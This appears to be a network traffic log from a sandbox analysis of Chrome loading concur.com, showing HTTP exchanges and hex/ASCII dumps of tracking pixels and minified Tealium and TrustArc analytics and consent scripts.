2024-10-03 08:41:37 UTC	861	OUT	GET /ibs:dpid=771&dpuuid=CAESEKDi-_YTUxbfu6hze52LkwE&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402
2024-10-03 08:41:37 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:37 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: +Px2DfsPRlg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-09a5ea745.edge-irl1.demdex.com 2 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:37 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:37 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:37 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49884	13.224.189.92	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:37 UTC	744	OUT	GET /log?domain=concur.com&country=us&state=ny&behavior=implied&session=35975d78-a390-494d-9ef0-cf4dd61f5a47&userType=NEW&c=29ce&referer=https://www.concur.com&language=en HTTP/1.1 Host: consent.trustarc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:37 UTC	540	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 03 Oct 2024 08:41:37 GMT Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 9568a708c8ab21597698ebe7dce6c42e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C1 X-Amz-Cf-Id: qDFBMby5kQz-ZgPYbJ6CDEpKXp1QE8FRf_BeA6qQzvrTFngsqZfUqw== Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin
2024-10-03 08:41:37 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49888	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:37 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1169.js?utv=ut4.39.202409041952 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 91708 Connection: close Last-Modified: Thu, 26 Sep 2024 17:12:58 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: I9EeSiHZSCCAaFI2TtqlvIsdBVO8OBHb Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:39 GMT ETag: "08723b8f2d35f6a9d55c91868ead5b87" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 6b284415724869adc9db63c19e48e420.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: NJEixCTjUG-fS_MlXfxxw_l5__rVetMHz8qKts-ui1xlHBrLv-xixw== Cache-Control: max-age=1296000
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 36 39 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 76 61 72 20 73 3d 73 5f 67 69 28 22 63 6f 6e 63 75 72 2d 61 6c 6c 2d 64 65 76 22 29 3b 73 2e 61 63 63 6f 75 6e 74 3d 22 63 6f 6e 63 75 72 2d 61 6c 6c 2d 64 65 76 22 3b 73 2e 74 72 61 63 6b 44 6f 77 6e 6c 6f 61 64 4c 69 6e 6b 73 3d 74 72 75 65 3b 73 2e 74 72 61 63 6b 45 78 74 65 72 6e 61 6c 4c 69 6e 6b 73 3d 74 72 75 65 3b 73 2e 74 72 61 63 6b 49 6e 6c 69 6e 65 53 74 61 74 73 3d 74 72 75 65 3b 73 2e 6c 69 6e 6b 49 6e 74 65 72 6e 61 6c Data Ascii: //tealium universal tag - utag.1169 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.var s=s_gi("concur-all-dev");s.account="concur-all-dev";s.trackDownloadLinks=true;s.trackExternalLinks=true;s.trackInlineStats=true;s.linkInternal
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 77 64 2c 77 6f 72 64 2c 22 29 2c 6b 26 26 68 29 29 29 29 7b 69 66 28 28 61 3d 68 2e 73 70 6c 69 74 28 22 26 22 29 29 26 26 31 3c 61 2e 6c 65 6e 67 74 68 29 7b 66 6f 72 28 66 3d 30 3b 66 3c 61 2e 6c 65 6e 67 74 68 3b 66 2b 2b 29 65 3d 61 5b 66 5d 2c 64 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3d 22 29 2c 30 3c 64 26 26 30 3c 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 2c 22 2b 65 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 64 29 2b 22 2c 22 29 3f 6d 2b 3d 28 6d 3f 22 26 22 3a 22 22 29 2b 65 3a 6e 2b 3d 28 6e 3f 22 26 22 3a 22 22 29 2b 65 3b 6d 26 26 6e 3f 68 3d 6d 2b 22 26 22 2b 6e 3a 6e 3d 22 22 7d 64 3d 32 35 33 2d 28 68 2e 6c 65 6e 67 74 68 2d 6e 2e 6c 65 6e 67 74 68 29 2d 62 2e 6c 65 6e 67 74 68 3b 61 3d 62 2b 28 30 3c 64 3f 67 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 64 Data Ascii: wd,word,"),k&&h)))){if((a=h.split("&"))&&1<a.length){for(f=0;f<a.length;f++)e=a[f],d=e.indexOf("="),0<d&&0<=k.indexOf(","+e.substring(0,d)+",")?m+=(m?"&":"")+e:n+=(n?"&":"")+e;m&&n?h=m+"&"+n:n=""}d=253-(h.length-n.length)-b.length;a=b+(0<d?g.substring(0,d
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 65 66 2c 61 2e 51 61 28 67 29 7c 7c 28 67 3d 30 29 2c 64 3d 65 2e 74 61 72 67 65 74 2c 63 2e 74 61 72 67 65 74 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 26 26 67 26 26 28 21 64 7c 7c 22 5f 73 65 6c 66 22 3d 3d 64 7c 7c 22 5f 74 6f 70 22 3d 3d 64 7c 7c 22 5f 70 61 72 65 6e 74 22 3d 3d 64 7c 7c 68 2e 6e 61 6d 65 26 26 64 3d 3d 68 2e 6e 61 6d 65 29 29 29 7b 74 72 79 7b 62 3d 61 2e 64 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 7d 63 61 74 63 68 28 6c 29 7b 62 3d 6e 65 77 20 68 2e 4d 6f 75 73 65 45 76 65 6e 74 7d 69 66 28 62 29 7b 74 72 79 7b 62 2e 69 6e 69 74 4d 6f 75 73 65 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 63 2e 62 75 62 62 6c 65 73 2c 63 2e 63 61 6e 63 65 6c 61 62 6c 65 2c 63 2e 76 69 65 77 2c 63 2e 64 65 74 61 Data Ascii: ef,a.Qa(g)\|\|(g=0),d=e.target,c.target.dispatchEvent&&g&&(!d\|\|"_self"==d\|\|"_top"==d\|\|"_parent"==d\|\|h.name&&d==h.name))){try{b=a.d.createEvent("MouseEvents")}catch(l){b=new h.MouseEvent}if(b){try{b.initMouseEvent("click",c.bubbles,c.cancelable,c.view,c.deta
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 3b 31 3d 3d 3d 64 26 26 75 26 26 52 2e 6c 6f 67 4f 6e 63 65 28 22 57 61 72 6e 69 6e 67 3a 20 76 69 73 69 74 6f 72 49 6e 73 74 61 6e 63 65 2e 70 75 62 6c 69 73 68 44 65 73 74 69 6e 61 74 69 6f 6e 73 20 76 65 72 73 69 6f 6e 20 69 73 20 6f 6c 64 20 28 56 69 73 69 74 6f 72 20 76 33 2e 33 2e 30 20 74 6f 20 76 34 2e 30 2e 30 29 2e 20 55 52 4c 20 64 65 73 74 69 6e 61 74 69 6f 6e 73 20 77 69 6c 6c 20 6e 6f 74 20 68 61 76 65 20 74 68 65 20 6f 70 74 69 6f 6e 20 6f 66 20 62 65 69 6e 67 20 66 69 72 65 64 20 6f 6e 20 70 61 67 65 2c 20 6f 6e 6c 79 20 69 6e 20 74 68 65 20 69 66 72 61 6d 65 2e 22 29 7d 74 68 69 73 2e 6a 73 6f 6e 50 72 6f 63 65 73 73 65 64 2e 70 75 73 68 28 65 29 7d 7d 7d 2c 61 64 64 4d 65 73 73 61 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 Data Ascii: ;1===d&&u&&R.logOnce("Warning: visitorInstance.publishDestinations version is old (Visitor v3.3.0 to v4.0.0). URL destinations will not have the option of being fired on page, only in the iframe.")}this.jsonProcessed.push(e)}}},addMessage:function(e){this
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 6b 54 72 61 63 6b 29 3d 3d 3d 22 73 74 72 69 6e 67 22 29 7b 75 5b 74 79 70 65 5d 3d 6c 69 6e 6b 54 72 61 63 6b 2e 73 70 6c 69 74 28 22 2c 22 29 3b 7d 65 6c 73 65 20 69 66 28 75 2e 74 79 70 65 4f 66 28 6c 69 6e 6b 54 72 61 63 6b 29 3d 3d 3d 22 61 72 72 61 79 22 29 7b 75 5b 74 79 70 65 5d 3d 6c 69 6e 6b 54 72 61 63 6b 3b 7d 65 6c 73 65 7b 75 5b 74 79 70 65 5d 3d 5b 5d 3b 7d 7d 0a 75 2e 68 61 73 61 64 6f 62 65 56 69 65 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 74 61 67 2e 75 74 2e 61 64 6f 62 65 56 69 65 77 53 63 72 69 70 74 52 65 71 75 65 73 74 65 64 29 7b 72 65 74 75 72 6e 20 74 72 75 65 3b 7d 0a 76 61 72 20 69 2c 73 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 3b 66 6f 72 Data Ascii: kTrack)==="string"){u[type]=linkTrack.split(",");}else if(u.typeOf(linkTrack)==="array"){u[type]=linkTrack;}else{u[type]=[];}}u.hasadobeView=function(){if(utag.ut.adobeViewScriptRequested){return true;}var i,s=document.getElementsByTagName("script");for
2024-10-03 08:41:38 UTC	8020	IN	Data Raw: 72 73 3d 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 6c 74 76 3d 5b 5d 3b 7d 0a 69 66 28 75 2e 63 6f 6d 62 69 6e 65 4c 69 6e 6b 56 61 72 26 26 74 79 70 65 6f 66 20 75 2e 64 61 74 61 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 74 79 70 65 43 68 65 63 6b 28 75 2e 64 61 74 61 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 2c 22 6c 74 76 22 29 3b 7d 65 6c 73 65 20 69 66 28 75 2e 63 6f 6d 62 69 6e 65 4c 69 6e 6b 56 61 72 26 26 74 79 70 65 6f 66 20 62 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 74 79 70 65 43 68 65 63 6b 28 62 2e 6c 69 6e 6b 54 72 61 63 6b 56 61 72 73 2c 22 6c 74 76 22 29 3b 7d 0a 69 66 28 74 79 70 65 6f 66 20 75 2e 64 61 74 61 2e 6c 69 6e Data Ascii: rs==="undefined"){u.ltv=[];}if(u.combineLinkVar&&typeof u.data.linkTrackVars!=="undefined"){u.typeCheck(u.data.linkTrackVars,"ltv");}else if(u.combineLinkVar&&typeof b.linkTrackVars!=="undefined"){u.typeCheck(b.linkTrackVars,"ltv");}if(typeof u.data.lin
2024-10-03 08:41:38 UTC	1768	IN	Data Raw: 65 29 7b 75 2e 6f 2e 76 69 73 69 74 6f 72 3d 69 6e 73 74 61 6e 63 65 3b 7d 0a 69 66 28 21 75 2e 6f 2e 76 69 73 69 74 6f 72 29 7b 69 66 28 74 79 70 65 6f 66 20 76 69 73 69 74 6f 72 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 6f 2e 76 69 73 69 74 6f 72 3d 77 69 6e 64 6f 77 2e 76 69 73 69 74 6f 72 3b 7d 65 6c 73 65 20 69 66 28 74 79 70 65 6f 66 20 56 69 73 69 74 6f 72 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 74 79 70 65 6f 66 20 56 69 73 69 74 6f 72 2e 67 65 74 49 6e 73 74 61 6e 63 65 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 7b 75 2e 6f 2e 76 69 73 69 74 6f 72 3d 56 69 73 69 74 6f 72 2e 67 65 74 49 6e 73 74 61 6e 63 65 28 75 2e 64 61 74 61 2e 61 64 6f 62 65 5f 6f 72 67 5f 69 64 29 3b 7d 7d 0a 75 2e 6f 2e 63 6f 6f 6b 69 65 44 6f 6d 61 69 Data Ascii: e){u.o.visitor=instance;}if(!u.o.visitor){if(typeof visitor!=="undefined"){u.o.visitor=window.visitor;}else if(typeof Visitor!=="undefined"&&typeof Visitor.getInstance!=="undefined"){u.o.visitor=Visitor.getInstance(u.data.adobe_org_id);}}u.o.cookieDomai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49891	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:37 UTC	572	OUT	GET /utag/concur/concur/prod/utag.211.js?utv=ut4.39.202211101937 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	605	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 2233 Connection: close Date: Thu, 03 Oct 2024 08:41:39 GMT Last-Modified: Thu, 26 Sep 2024 17:12:43 GMT ETag: "69fa2e5361c72148b442cb02d9c7d443" x-amz-server-side-encryption: AES256 x-amz-version-id: 9e_6ApxrB26qdiFfu0.uzs294h7yibpA Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 32803d0ba3af70cddd7db80d2fd00608.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: -F-DFhnbU6pQt-IWOI2RV3j6ICuzqDH8V8ri4T16vOvntXGagUvtuw== Cache-Control: max-age=1296000
2024-10-03 08:41:38 UTC	2233	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 32 31 31 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 6c 6f 61 64 65 72 3d 66 75 6e 63 74 69 6f 6e Data Ascii: //tealium universal tag - utag.211 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49892	13.224.189.92	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:37 UTC	371	OUT	GET /asset/notice.js/v/v1.7-5097 HTTP/1.1 Host: consent.trustarc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:38 UTC	530	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 96122 Connection: close Last-Modified: Wed, 25 Sep 2024 03:34:25 GMT Pragma: public Date: Thu, 03 Oct 2024 08:24:23 GMT Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 42b60ee17f7593fff72ca1cb725d6c9a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C1 X-Amz-Cf-Id: hIwbDT-QzyuVBeKXJSNfNKNOqq3FkVuhepN28dLP4h-eK7r9jmmZ6w== Age: 1034 Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: max-age=2592000 Vary: Origin
2024-10-03 08:41:38 UTC	15854	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 5f 74 72 75 73 74 65 5f 65 75 28 29 7b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 76 61 72 20 67 3d 74 72 75 73 74 65 2e 65 75 2e 62 69 6e 64 4d 61 70 3b 67 2e 66 65 61 74 2e 69 73 43 6f 6e 73 65 6e 74 52 65 74 72 69 65 76 65 64 3d 67 2e 66 65 61 74 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 3f 67 2e 66 65 61 74 2e 69 73 43 6f 6e 73 65 6e 74 52 65 74 72 69 65 76 65 64 3a 21 30 3b 69 66 28 21 75 2e 64 6f 6e 65 26 26 74 72 75 73 74 65 2e 75 74 69 6c 2e 69 73 43 6f 6e 73 65 6e 74 52 65 73 6f 6c 76 65 64 28 29 29 7b 75 2e 64 6f 6e 65 3d 21 30 3b 76 61 72 20 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 2c 63 3d 74 72 75 73 74 65 2e 75 74 69 6c 2e 72 65 61 64 43 6f 6f 6b 69 Data Ascii: function _truste_eu(){function u(){var g=truste.eu.bindMap;g.feat.isConsentRetrieved=g.feat.crossDomain?g.feat.isConsentRetrieved:!0;if(!u.done&&truste.util.isConsentResolved()){u.done=!0;var k=function(){var a=(new Date).getTime(),c=truste.util.readCooki
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 20 53 61 66 61 72 69 5b 2f 5d 22 2c 0a 22 69 67 22 29 2e 65 78 65 63 28 61 29 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 6c 65 6e 67 74 68 3f 21 66 28 61 29 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 61 29 7b 72 65 74 75 72 6e 28 61 3d 52 65 67 45 78 70 28 22 5e 4d 6f 7a 69 6c 6c 61 5b 2f 5d 5b 2e 5c 5c 64 5d 2b 20 5b 28 5d 4d 61 63 69 6e 74 6f 73 68 3b 2e 2a 4d 61 63 20 4f 53 20 58 20 5b 5f 5c 5c 64 5d 2b 5b 29 5d 20 41 70 70 6c 65 57 65 62 4b 69 74 5b 2f 5d 5b 2e 5c 5c 64 5d 2b 20 5b 28 5d 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 5b 29 5d 24 22 2c 22 69 67 22 29 2e 65 78 65 63 28 61 29 29 26 26 61 2e 6c 65 6e 67 74 68 3f 21 30 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 66 28 61 29 7b 72 65 74 75 72 6e 28 61 3d 52 65 67 45 78 70 28 22 43 68 72 6f 6d Data Ascii: Safari[/]","ig").exec(a);return b&&b.length?!f(a):!1}function e(a){return(a=RegExp("^Mozilla[/][.\\d]+ [(]Macintosh;.*Mac OS X [_\\d]+[)] AppleWebKit[/][.\\d]+ [(]KHTML, like Gecko[)]$","ig").exec(a))&&a.length?!0:!1}function f(a){return(a=RegExp("Chrom
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 61 63 63 65 70 74 5f 61 6c 6c 22 3a 73 65 6c 66 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 72 65 6d 6f 76 65 49 74 65 6d 28 74 72 75 73 74 65 2e 65 75 2e 43 4f 4f 4b 49 45 5f 43 41 54 45 47 4f 52 59 5f 4e 41 4d 45 29 7d 65 6c 73 65 20 69 66 28 22 74 72 75 73 74 61 72 63 5f 75 73 65 72 5f 63 6f 6e 73 65 6e 74 5f 63 6c 69 65 6e 74 22 3d 3d 61 2e 73 6f 75 72 63 65 29 6e 75 6c 6c 21 3d 3d 61 2e 75 73 65 72 49 44 26 26 28 74 72 75 73 74 65 2e 65 75 2e 6e 6f 74 69 63 65 4c 50 2e 75 73 65 72 49 44 3d 61 2e 75 73 65 72 49 44 2c 74 72 75 73 74 65 2e 65 75 2e 67 65 74 55 73 65 72 43 6f 6e 73 65 6e 74 28 61 2e 75 73 65 72 49 44 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 72 75 73 74 65 2e 65 75 2e 70 6f 73 74 55 73 65 72 43 65 6e 74 65 72 43 61 6c 6c 62 61 63 6b Data Ascii: accept_all":self.localStorage.removeItem(truste.eu.COOKIE_CATEGORY_NAME)}else if("trustarc_user_consent_client"==a.source)null!==a.userID&&(truste.eu.noticeLP.userID=a.userID,truste.eu.getUserConsent(a.userID,function(a,b){truste.eu.postUserCenterCallback
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 72 28 76 61 72 20 62 3d 30 2c 63 2c 64 3d 30 3b 64 3c 61 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 69 66 28 73 65 6c 66 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 7c 7c 61 5b 64 5d 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 26 26 22 73 74 61 74 69 63 22 21 3d 61 5b 64 5d 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 29 63 3d 70 61 72 73 65 49 6e 74 28 74 72 75 73 74 65 2e 75 74 69 6c 2e 67 65 74 53 74 79 6c 65 28 61 5b 64 5d 2c 22 7a 2d 69 6e 64 65 78 22 29 29 2c 63 3e 62 26 26 28 62 3d 63 29 3b 72 65 74 75 72 6e 20 62 7d 3b 74 72 75 73 74 65 2e 65 75 2e 6f 6e 42 65 66 6f 72 65 55 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 22 50 6c 65 61 73 65 20 61 6c 6c 6f 77 20 6f 70 74 6f 75 74 73 20 74 6f 20 66 69 6e 69 73 68 20 62 65 Data Ascii: r(var b=0,c,d=0;d<a.length;d++)if(self.getComputedStyle\|\|a[d].style.position&&"static"!=a[d].style.position)c=parseInt(truste.util.getStyle(a[d],"z-index")),c>b&&(b=c);return b};truste.eu.onBeforeUnload=function(a){return"Please allow optouts to finish be
2024-10-03 08:41:38 UTC	16384	IN	Data Raw: 63 2c 64 2c 65 2c 66 2c 6c 2c 70 2c 71 2c 6d 29 7b 76 61 72 20 68 3d 74 72 75 73 74 65 2e 65 75 2e 62 69 6e 64 4d 61 70 2e 66 65 61 74 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 3f 22 2f 76 31 2f 63 6f 6e 74 72 6f 6c 6c 65 72 2f 63 6f 6e 73 65 6e 74 2f 75 73 65 72 2f 22 2b 61 3a 22 2f 76 31 2f 63 6f 6e 74 72 6f 6c 6c 65 72 2f 73 65 74 55 73 65 72 43 6f 6e 73 65 6e 74 2f 22 2b 61 2b 22 5f 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 3b 74 72 79 7b 61 3f 74 72 75 73 74 65 2e 75 74 69 6c 2e 68 74 74 70 52 65 71 75 65 73 74 28 74 72 75 73 74 65 2e 65 75 2e 55 53 45 52 5f 43 4f 4e 53 45 4e 54 5f 43 45 4e 54 45 52 5f 53 45 52 56 45 52 2b 68 2c 22 50 4f 53 54 22 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 7b 75 73 65 72 5f 69 64 3a Data Ascii: c,d,e,f,l,p,q,m){var h=truste.eu.bindMap.feat.crossDomain?"/v1/controller/consent/user/"+a:"/v1/controller/setUserConsent/"+a+"_"+window.location.hostname;try{a?truste.util.httpRequest(truste.eu.USER_CONSENT_CENTER_SERVER+h,"POST",JSON.stringify({user_id:
